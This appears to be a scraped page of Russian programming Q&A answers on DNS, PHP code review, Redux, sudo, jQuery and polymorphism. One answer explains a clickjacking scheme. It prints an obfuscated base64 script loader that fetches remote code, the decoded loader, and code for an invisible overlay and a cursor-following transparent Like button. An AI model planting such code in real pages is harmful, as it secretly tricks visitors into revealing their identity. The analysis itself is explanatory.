• Скрыть MX запись?

    Возьмите IP-адреса mx.yandex.ru

    >host mx.yandex.ru
    mx.yandex.ru has address 87.250.250.89
    mx.yandex.ru has address 93.158.134.89
    mx.yandex.ru has address 213.180.193.89
    mx.yandex.ru has address 213.180.204.89
    mx.yandex.ru has address 77.88.21.89


    Заведите A-запись в своем (example.com) домене, например
    mx IN A 87.250.250.89
    ...
    mx IN A 77.88.21.89

    и измените MX запись на MX из своего домена. Но имейте ввиду, что придется следить за изменением IP-адреса у Яндекс, можно это автоматизировать скриптом.
    В качестве альтернативы, можно добавить CNAME
    mx IN CNAME mx.yandex.ru.
    но при резолве MX-записи CNAME скорей всего будет видно.
    Ответ написан
    3 комментария
  • Попросили проверить код, на что смотреть нужно?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Смотря зачем)). Я когда делаю Code Review критерии следующие:

    * Безопасность:
    - Каждый аргумент метода простого типа должен проверяться на тип в случае его проксирования и на граничные значения в случае обработки. Чуть что не так - бросается исключение. Если метод с кучкой аргументов на 80% состоит из поверки из аргументов - это вполне норм))
    - Никаких trigger_error, только исключения.
    - Исключения ДОЛЖНЫ быть человеко-понятны, всякие "Something went wrong" можно отдавать пользователю, но в лог должно попасть исключение со стектрейсом и человеко-понятным описанием, что же там пошло не так.
    - Каждый аргумент (объект) метода должен быть с тайпхинтингом на этот его класс, или интерфейс.
    - За eval как правило шлю на **й.
    - @ допускается только в безвыходных ситуациях, например проверка json_last_error.
    - Перед работой с БД - обязательная проверка данных.
    - Никаких == и !=. Со swtich - единственное исключение, по ситуации.
    - Если метод возвращает не только bool, а еще что-то - жесткая проверка с ===, или !== обязательна.
    - Никаких условий с присваиваниями внутри. while($row = ...) - тоже идет лесом.
    - Магические геттеры/сеттеры разрешаются только в безвыходных ситуациях, в остальном - запрещены.
    - Конкатенации в sql - только в безвыходных ситуациях.
    - Параметры в sql - ТОЛЬКО через плейсхолдеры.
    - Никаких глобальных переменных.
    - Даты в виде строки разрешаются только в шаблонах и в БД, в пхп коде сразу преобразуется в \DateTimeImmutable (в безвыходных ситуациях разрешено \DateTime)
    - Конечно зависит от проекта, но как приавло должно быть всего две точки входа: index.php для web и console(или как-то по другому назваться) - для консоли.

    * Кодстайл PSR-2 + PSR-5 как минимум, + еще куча более жестких требований (для начала все то что в PSR помечено как SHOULD - становится MUST)
    - В PhpStorm ни одна строчка не должна подсвечиваться (исключением является typo ошибки, например словарик не знает какой-то из аббревиатур, принятых в вашем проекте). При этом разрешается использовать /** @noinspection *** */ для безвыходных ситуаций.
    - Если кто-то говорит, что пишет в другом редакторе и у него не подсвечивается, на эти отговорки кладется ВОТ ТАКЕЕЕНЫЙ мужской половой **й и отправляется на доработку)).

    * Организация кода:
    - Никаких глобальных функций.
    - Классы без неймспейса разрешаются только в исключительно безвыходных ситуациях.

    * Тестируемость (в смысле простота тестирования) кода должна быть высокая.
    - Покрытие кода обязательно для всех возможных кейсов использования каждого публичного метода с моками зависимостей.

    * Принципы MVC:
    - Никаких обработок пользовательского ввода в моделях, от слова совсем.
    - Никаких ***ть запросов в БД из шаблонов.
    - Никаких верстки/js/css/sql-ин в контроллерах.
    - В моделях НИКАКОЙ МАГИИ, только приватные свойства + геттеры с сеттерами.
    - В моделях разрешено использовать метод save(при наличии такого разумеется) только в исключительных ситуациях. Во всех остальных - либо insert, либо update.

    * Принципы SOLD:
    - Никаких божественных объектов умеющих во все.
    - Если метод для внутреннего пользования - private, никаких public.
    - Статические методы разрешаются только в случае безвыходности.

    * Принцип DRY разрешено нарушать в случаях:
    - Явного разделения обязанностей
    - В тестах (каждый тест должен быть независимым, на сколько это возможно)

    * Работа с БД:
    - Запрос в цикле должен быть РЕАЛЬНО обоснован.
    - За ORDER BY RAND() - шлю на***й.
    - Поиск не по ключам (конечно если таблица НЕ на 5 строк) запрещен.
    - Поиск без LIMIT (опять же если таблица НЕ на 5 строк) запрещен.
    - SELECT * - запрещен.
    - Денормализация БД должна быть обоснована.
    - MyISAM не используется (так уж)) )
    - Множественные операции обязательно в транзакции, с откатом если чо пошло не так.
    - БД не должна содержать бизнес логики, только данные в целостном виде.
    - Не должно быть нецелесообразного дерганья БД там, где без этого можно обойтись.

    * Кэш должен очищаться по двум условиям (не по одному из, а именно по двум):
    - Время.
    - Протухание по бизнес логике.
    Разрешается по только времени в безвыходных ситуациях, но тогда время - короткий период.
    - При расчете ключей кэша должна использоваться переменная из конфигурации приложения (на случай обновлений кэш сбрасывается кодом, а не флашем кэш-сервера). В случае использования множества серверов - это очень удобный и гибкий инструмент при диплое.

    * О людях:
    - "Я привык писать так и буду дальше" - не вопрос, ревью пройдешь только когда поменяешь свое мнение.
    - "Я пишу в vim-е и мне так удобно" - здорово, код консолью я тоже в нем пишу)) но есть требования к коду, если в них не сможешь - не пройдешь ревью.
    - "Я скопировал этот страшный метод и поменял 2 строчки" - это конечно замечательно, но по блейму автор всего этого метода ты, так что давай без говняшек, хорошо?
    - "Оно же работает!" - вот эта фраза переводится примерно так: "да, я понимаю, что пишу полную хрень, но не могу писать нормально потому, что руки из жо", я правильно тебя понял?))
    - "У меня все работает!" - рад за тебя, а как на счет продакшна?
    - "Там все просто" - не используй слово "просто", от слова "совсем". Вот тебе кусок кода (первого попавшегося с сложной бизнес логикой), где там ошибка (не важно есть она, или нет)? Ты смотришь его уже 2 минуты, в чем проблема, там же все "просто"))

    * Всякое:
    ActiveRecord (это я вам как в прошлом фанат Yii говорю) - полное говно, примите за исходную. По факту у вас бесконтрольно по проекту гуляют модельки с подключением к БД. Не раз натыкался на то, что в тех же шаблонах вызывают save, или update (за такое надо сжигать).
    То, что используется Laravel - это печально((. Что бы выполнить требования приведенные выше, приходится "воевать" с фреймворком.

    Это далеко не полный список требований, очень много зависит от проекта в целом и от принципов, заложенных в нем. Для больших мредж реквестов 200 комментариев к коду - это ок. Дерзайте.

    UPD

    Формализировал данные критерии по ссылочке: https://github.com/index0h/php-conventions
    Ответ написан
    55 комментариев
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Объясните простыми словами как работает Redux?

    У вас есть одно большое дерево, в котором хранится все состояние (state) приложения - это хранилище (store).
    Также у вас есть набор редьюсеров (которые скомбинированы в один общий rootReducer) - это функции, который принимают текущее состояние и действие и возвращают новое состояние:
    function someReducer(state = initialState, action) {
      // обычно выглядит как switch 
      // action - простой js-объект
      //              и обязательно имеет строковое поле type
      switch(action.type) {
        // обрабатываем действие с типом SOME_ACTION_NAME
        case 'SOME_ACTION_NAME':
          // берем какие-то данные из экшена и возвращаем новое состояние
          // при этом менять sate нельзя!
          // state.someProperty = action.newStateData <--- НЕТ!
          return { ...state, action.newStateData };
        // Если мы не обрабатываем действие - просто возвращаем старое состояние
        default:
          return state;
      }
    }


    Также есть экшен креаторы (actionCreators) - это функции, которые возвращают действие. затем это действие вещается в хранилище (диспатчится). Типичный пример:
    function someActionCreator(someArg) {
      return {
        type: 'SOME_ACTION_NAME',
        newStateData: someArg + 5, // <-- разная логика
      };
    }


    По-умолчанию в качестве экшена мы можем вернуть только простой объект, но при создании хранилища можно добавить так называемый middleWare. Это специальные функции, которые принимают все экшены из диспатча и могут передавать их дальше (при этом содержат дополнительную логику).

    Если мы хотим получить доступ к состоянию в экшен креаторе - воспользуемся thunkMiddleware:
    import thunkMiddleware from 'redux-thunk';
    
    function createStore(initialState) {
      const reducer = combineReducers(reducers);
      const finalCreateStore = applyMiddleware(
        thunkMiddleware // <-- добавляем middleware
      )(defaultCreateStore);
      return finalCreateStore(reducer, initialState);
    }


    Теперь мы можем делать так:
    function someActionCreator(someArg) {
      return (dispatch, getState) => { // <-- возвращаем фукнцию, а не объект!
        const someState = getState().reducerName;
        return {
          type: 'SOME_ACTION_NAME',
          newStateData: someArg + someState, 
        };
      };
    }


    В общем схема выглядит так:

    actionCreator --action--> dispatch --action--> middleware --action--> store --action--> reducer --> newState


    Затем мы берем из react-redux метод connect, который подключает Ваш умный компонент к хранилищу:
    import { connect } from 'react-redux';
    import { bindActionCreators } from 'redux';
    
    class MyComponent extends Component {
      static propTypes = {
        someProp: PropTypes.string.isRequired,
        someFunc: PropTypes.func.isRequired,
      };
    }
    
    // Тут мы берем из глобального состояния необходимую нам часть
    // В ownProps - свойства компонента. Тут могут быть например свойства от роутера
    function mapStateToProps(state, ownProps) {
      return {
        someProp: state.someReducer,
      };
    }
    
    function mapActionsToProps(dispatch) {
      return bindActionCreators ({ // <-- биндим все на disptach для удобства
        someFunc: (someArg) => someActionCreator(someArg + 1),
      }, dispatch);
    }
    
    export default connect(
      mapStateToProps,
      mapActionsToProps
    )(MyComponent);
    Ответ написан
    3 комментария
  • Как сделать работающий селектор jQuery?

    IonDen
    @IonDen
    JavaScript developer. IonDen.com
    Не будет работать ибо делегирование событий!
    И вообще, зачем вам jQuery в реакте? Делайте как react хочет:
    <div className='row' onClick={action}></div>

    И вообще, подобная запись селекторов ("#orders > #table > tbody > tr") - полный моветон. На всех элементах должны быть классы, особенно на тех, которые вы планируете кликать.
    Ответ написан
    5 комментариев
  • В чем отличие команд "sudo -i" и "sudo su -"?

    martin74ua
    @martin74ua Куратор тега Linux
    Linux administrator
    sudo su - полностью выполняется логин от имени рута.
    sudo -i логин эмулируется.

    Внешне разница выглядит как то так:
    [martin@martin ~]$ sudo -i
    [root@martin ~]# id
    uid=0(root) gid=0(root) группы=0(root)
    [root@martin ~]# export
    declare -x DISPLAY="localhost:10.0"
    declare -x HISTCONTROL="ignoredups"
    declare -x HISTSIZE="1000"
    declare -x HOME="/root"
    declare -x HOSTNAME="martin.office.lds.ua"
    declare -x KDEDIRS="/usr"
    declare -x LANG="ru_UA.UTF-8"
    declare -x LESSOPEN="||/usr/bin/lesspipe.sh %s"
    declare -x LOGNAME="root"
    declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd                                                                       =40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=3                                                                       0;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:                                                                       *.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=0                                                                       1;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;                                                                       31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01                                                                       ;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ea                                                                       r=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31                                                                       :*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01                                                                       ;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.ti                                                                       f=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;3                                                                       5:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.og                                                                       m=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:                                                                       *.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01                                                                       ;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=                                                                       01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.                                                                       au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;                                                                       36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf                                                                       =01;36:"
    declare -x MAIL="/var/spool/mail/root"
    declare -x OLDPWD
    declare -x PATH="/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"
    declare -x PWD="/root"
    declare -x QTDIR="/usr/lib64/qt-3.3"
    declare -x QT_GRAPHICSSYSTEM_CHECKED="1"
    declare -x QT_PLUGIN_PATH="/usr/lib64/kde4/plugins:/usr/lib/kde4/plugins"
    declare -x SHELL="/bin/bash"
    declare -x SHLVL="1"
    declare -x SSH_ASKPASS="/usr/libexec/openssh/gnome-ssh-askpass"
    declare -x SUDO_COMMAND="/bin/bash"
    declare -x SUDO_GID="1000"
    declare -x SUDO_UID="1000"
    declare -x SUDO_USER="martin"
    declare -x TERM="linux"
    declare -x USER="root"
    declare -x USERNAME="root"
    [root@martin ~]# logout
    [martin@martin ~]$ sudo su -
    Последний вход в систему:Срд Окт 28 18:58:48 MSK 2015на pts/1
    Последняя неудачная попытка входа в систему:Пнд Ноя  2 08:51:38 MSK 2015с 211.99                                                                       .249.89на ssh:notty
    Число неудачных попыток со времени последнего входа: 30.
    [root@martin ~]# export
    declare -x HISTCONTROL="ignoredups"
    declare -x HISTSIZE="1000"
    declare -x HOME="/root"
    declare -x HOSTNAME="martin.office.lds.ua"
    declare -x KDEDIRS="/usr"
    declare -x LANG="ru_UA.UTF-8"
    declare -x LESSOPEN="||/usr/bin/lesspipe.sh %s"
    declare -x LOGNAME="root"
    declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd                                                                       =40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=3                                                                       0;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:                                                                       *.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=0                                                                       1;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;                                                                       31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01                                                                       ;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ea                                                                       r=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31                                                                       :*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01                                                                       ;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.ti                                                                       f=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;3                                                                       5:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.og                                                                       m=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:                                                                       *.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01                                                                       ;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=                                                                       01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.                                                                       au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;                                                                       36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf                                                                       =01;36:"
    declare -x MAIL="/var/spool/mail/root"
    declare -x OLDPWD
    declare -x PATH="/usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin                                                                       :/usr/sbin:/usr/bin:/root/bin"
    declare -x PWD="/root"
    declare -x QTDIR="/usr/lib64/qt-3.3"
    declare -x QTINC="/usr/lib64/qt-3.3/include"
    declare -x QTLIB="/usr/lib64/qt-3.3/lib"
    declare -x QT_GRAPHICSSYSTEM_CHECKED="1"
    declare -x QT_PLUGIN_PATH="/usr/lib64/kde4/plugins:/usr/lib/kde4/plugins"
    declare -x SHELL="/bin/bash"
    declare -x SHLVL="1"
    declare -x SSH_ASKPASS="/usr/libexec/openssh/gnome-ssh-askpass"
    declare -x TERM="linux"
    declare -x USER="root"
    declare -x XDG_SESSION_ID="13889"
    [root@martin ~]# id
    uid=0(root) gid=0(root) группы=0(root)
    [root@martin ~]#


    как видно - при sudo su - выполнились все файлы инициализации рута, система вывела информацию о предыдущих логинах, при sudo -i - нет
    ну и environment не совпадают...
    Ответ написан
    Комментировать
  • Чем отличается хороший код от плохого, если оба работают?

    dimonchik2013
    @dimonchik2013
    non progredi est regredi
    Комментировать
  • Знаете ли вы программистов которые в одиночку создали крутой проект?

    @asd111
    Google - два парня Сергей Брин и Ларри Пейдж
    Facebook - начал Марк Цукерберг
    Instagram - два парня, один делал приложение для iPhone, другой делал сайт, потом заработали расширились
    MsDOS - первую версию сделал один человек, потом Баллмер у него купил за 50 000 $ и права перешли Microsoft
    Nginx - начал Игорь Сысоев
    Компьютер Apple I - дело рук Стива Возняка
    Linux - начал Линус Торвальдс
    Git - начал Линус торвальдс
    Redis - Salvatore Sanfilippo ( antirez )
    Minecraft - начал Маркус Перссон ( также известный как notch )
    Dropbox - начал Дрю Хьюстон
    Shadertoy - создан Iñigo Quilez ( также известен как iq )
    C++ - начал Бьёрн Страуструп
    Python - Гвидо ван Россум
    PHP - Расмус Лердорф

    SimplaCMS - начал один человек
    DLE CMS - начал один человек
    TYPO3 CMS - начал один человек

    P.S. ответ редактировался и дополнялся
    Ответ написан
    20 комментариев
  • Почему Angular плохой?

    @VanKrock
    Angular всего лишь инструмент, если вы умеете им пользоваться и он решает ваши задачи, используйте его, если нет используйте другой инструмент. На Angular достаточно просто решать большой пул задач, если вы будете постоянно только сравнивать инструменты и искать который лучше, то в итоге вместо проекта вы все еще будете искать инструмент, который лучше.
    Ответ написан
    4 комментария
  • Как тренировать выдержку?

    alexclear
    @alexclear
    A cat
    Я пользуюсь техникой "ответы на вопросы на Тостере".
    Когда-то давно, когда я не занимался вопросами поддержки пользователей, моя выдержка была значительно слабее.
    Сейчас мне тоже, когда я читаю некоторые вопросы здесь, хочется найти автора и долго бить его головой об стол.
    Но уже в гораздо меньшей степени.
    Ответ написан
    Комментировать
  • Какие задачи нужно уметь выполнять на JS начинающему?

    copist
    @copist
    Empower people to give
    Какие задачи нужно уметь решать на чистом JS, перед тем как переходить к изучению библиотек и фреймворков?


    Кроме синтаксических конструкций, математических и логических выражений, нужно знать:
    • Область видимости переменных
    • Замыкания
    • Объектно-ориентированное программирование, в частности наследование через прототипы
    • Шаблон проектирования "модуль"
    • Операции над DOM
    • Понимание принципов событийно-ориентированного программирования
    Важно - нужно знать, откуда копипастить.
    Тебе нужно быть очень хорошо знакомым с одной-двумя-тремя популярными библиотеками на JavaScript. В идеале ты должен иметь представление о том, что определённый класс задач может быть решен с помощью определённых библиотек, хотя бы одной, но такие знания приходят с практикой. Вообще ты должен быть знаком с ними так близко, чтобы помнить, в какой части мануала по библиотеке можно найти описание форматов входных данных нужной тебе функции и какой будет результат, чтобы скопировать и вставить в свой код, а потом поправить, чтобы работало.

    Важно - инструменты программиста JavaScript
    У тебя должен быть удобный инструмент для разработки (IDE, Integrated Development Environment), чтобы он тебе подсвечивал код (syntax highlight) и подсказывал о синтаксических ошибках (syntax check), о формальных параметрах функций (type hinting), о стиле кодирования (code style), помогал писать код (live templates).
    Ты должен знать, как отлаживать скрипты в популярных браузерах (Firebug, Chrome Developer Tools и другое). Что такое точки останова, как управлять исполнением во время останова, как посмотреть и поменять содержимое переменных, как настроить останов по условию.

    Хотелось бы узнать что это за задачи(упомянутые вами 80%)


    Реальные задачи джунов:
    1. Возьми из сборника задач по javascript любой скрипт случайно и вслух расскажи, что он делает.
      Важно - читать и понимать чужой код намного важнее, чем писать свой. И на работе тебе это приддётся делать чаще, чем ты думаешь. Чтобы подключить к своему проекту чужую JS либу, нужно понимать что она делает, как она конфигурируется, как управлять её поведением. Скажу точно, что написать свой скрипт, который строит графики, намного сложнее, чем понять, как настраивается highcharts.

    2. Напиши скрипт на JS, который в заданном тексте удалит один или два символа, выбранных случайно
      1. Усложнение: удалять можно только буквы в словах, а знаки пунктуации и цифры удалять нельзя
      2. Усложнение: принять, что этот текст является программной на Javascript, удалить одну-две команды JS, но только если они не в строковых литерах (break как команду удалить можно, а в строке "break my heart" нельзя)
      3. Усложнение: воспользуйся этим скриптом и "попорти" код какого-нибудь другого скрипта на Javascript, а потом отладь, найди ошибку и восстанови работоспособность
      Важно - этим обычно все и занимаются - ищут баги. Только в реальной жизни они и без этого скрипта появляются. И не по одному, а прям пачками.

    3. На страницу HTML нужно встроить график курса доллара по отношению к рублю. Формат входного массива значений курса определи сам, исходя из своего скрипта для построения графиков.
      1. Усложнение: на одном графике должны быть два курса, по разным шкалам. Наприме, курс доллара к евро и курс юаня к рублю
      2. Усложнение: первоначально график вывести в детализации по месяцам, но чтобы можно было "приблизить" (drilldown) детализацию до дней
      3. Усложнение: первоначально график вывести текущем месяце, но чтобы можно было загрузить данные для предыдущего месяца без перезагрузки страницы (AJAX)

    4. При клике по картинкам, вставленным в текст HTML, показывать всплывающее окно для просмотра увеличенной картинки.
      1. Усложнение: в всплывающем окне сделать навигацию по картинкам, вперёд/назад и к нужной картинке
      2. Усложнение: в всплывающем окне вместо картинки показать видео-ролик с Youtube
      3. Усложнение: в всплывающем окне показать текст HTML

    5. По клику на кнопку "Click me" показать всплывающую форму.
      1. Усложнение: реализовать проверку данных на корректность перед отправкой формы (непустое значение, минимальное количество символов, максимальное количество символов, минимальное числовое значение, максимальное числовое значение)
      2. Усложнение: если в значении текстового поля встретилась гиперссылка, то считать её за 22 символа при любой длине этой ссылки (как в твитере)
      3. Усложнение: реализовать отправку формы на сервер через AJAX, без перезагрузки страницы
      4. Усложнение: саму форму в виде HTML загрузить с сервера через AJAX, в момент клика по кнопке "Click me", правила проверок данных должны как-нибудь "извлечься" из самой загруженной формы, например из аттрибутов полей ввода

    6. К форме ввода данных на поле ввода даты "навешать" всплывающий календарь для выбора даты.
      1. Усложнение: сделать форму календаря мультиязычной. Хотя бы через настройки на том же JavaScript
      2. Усложнение: сделать так, чтобы с помощью календаря можно было выбрать диапазон дат, чтобы она была привязана к двум полям формы "дата начала" и "дата окончания", и чтобы значение в поле "дата начала" обязательно была меньше чем в поле "дата окончания"
      3. Усложнение: сделать так, чтобы с помощью в календаре можно было видно визуально этот диапазон
      4. Усложнение: диапазон может быть открытым, но не пустым, то есть пользователь должен задать хотя бы дату начала или дату окончания.

    7. Сделать пред-просмотр веб-страницы HTML с разными темами. Тему страницы выбирать через селектор на javascript, а показывать в фрейме.
      1. Усложнение: сделать селектор "тип устройства", чтобы менять размер фрейма (например, "iPhone 5c 1136x640") и "чекбокс" для смены ориентации страницы "горизонтальная" или "вертикальная" (соответственно 1136x640 или 640x1136)
      2. Усложнение: в селекторе тем предусмотреть поиск тем по подстроке, и аналогично поиск устройств по части названия (авто-дополнение, auto-complete)
      3. Усложнение: тема страницы должна меняться без перезагрузки фрейма



    Задачи повышенной сложности, исходя из личного интереса
    1. Реализовать форму для многошагового мастера: форма должна состоять из нескольких страниц (шагов), пользователь может переключать страницы через какие-нибудь элементы управления "вперёд/назад" или "перейти на страницу".
      1. Усложнение: реализовать функциональную связь значений, когда некоторые данные зависят друг от друга (ввёл число в поле "количество" и в поле "сумма" значение пересчиталось)
      2. Усложение: доступность некоторых полей ввода должна зависеть от данных (например, если указал "есть личный самолёт", то значит можно ввести "марка самолёта")
      3. Усложение: видимость некоторых страниц должна зависеть от данных из предыдущих страниц (например, если указал "есть личный самолёт", значит появилась страница "ТТХ самолёта"; иначе страница должна скрыться)

    2. Реализовать однопользовательскую браузерную игру "змейка", "тетрис", "найди пару"
    3. Реализовать многопользовательскую браузерную игру "крестики-нолики", "морской бой" на два игрока в режиме "hot seat"
      1. Усложнение: два игрока на разных компьютерах, ходы передаются по websocket
      2. Усложнение: ограничение на ожидания окончания хода 15 секунд, по окончании ожидания автоматически делается случайный ход

    4. Реализовать todo-list. Пользователь вводит список, затем он превращается в строки с "чек-боксами". Когда "чекбокс" включен, строка зачёркивается.
      1. Усложнение: пользователь может переименовывать, удалять, добавлять строки
      2. Усложнение: список хранить в localStorage браузера, чтобы при перезагрузке страницы он восстанавливался
      3. Усложнение: пользователь может иметь несколько независимых списков todo

    5. Реализовать простой графический редактор. Пусть рисуется точка в месте, где пользователь кликнул.
      1. Усложнение: добавить переключатель режимов "точка"/"линия", в режиме "линия" рисуются линии между двумя последовательно кликнутыми точками
      2. Усложнение: можно менять толщину, цвет линий, размер точек
      3. Усложнение: последовательность кликов можно воспроизвести ещё раз с самого начала, равномерно или с реальной задержкой между кликами, с обычной скоростью или ускоренно
      4. Усложнение: можно выгрузить получившийся рисунок в формате PNG или SVG, причём SVG c анимацией воспроизведения



    Можно использовать любую существующую библиотеку.
    Например,
    для построения графиков www.highcharts.com
    для загрузки и передачи данных через AJAX: jquery.com + что-нибудь на сервере
    для всплывающих диалогов с картиками, видео и формами: fancyapps.com/fancybox и https://jqueryui.com/dialog/
    для валидации форм rickharrison.github.io/validate.js
    для календаря https://jqueryui.com/datepicker/
    для автодополнения https://jqueryui.com/autocomplete/
    для передачи данных между несколькими пользователями socket.io или обычный AJAX
    Ответ написан
    16 комментариев
  • Почему полиморфизм так работает?

    pi314
    @pi314
    Президент Солнечной системы и окрестностей
    Объяснить суть полиморфизма "на пальцах" довольно просто. Представьте себе класс Телефон. Его спроектировал некто в далеких 80-х, и определил в нем метод набратьНомер(). А потом другой программист в 90-х отнаследовал от него класс МобильныйТелефон и перекрыл метод набратьНомер(), т.к. грубо говоря, в новом устройстве набор производится уже не импульсно, а тонально. А потом третий программист отнаследовал от него класс Смартфон. При этом он не стал трогать метод набратьНомер(), а просто добавил методы для нового функционала, типа определитьПоложениеПоGPS() и т.д.

    Теперь представьте себе пользователя. Он родом из 80-х и понятия не имеет о тональном наборе и GPS... но если ему в руки дать любое из этих устройств, он сможет набрать номер и сделать звонок. Почему? Потому, что он умеет использовать метод набратьНомер(), и большего ему знать не нужно.

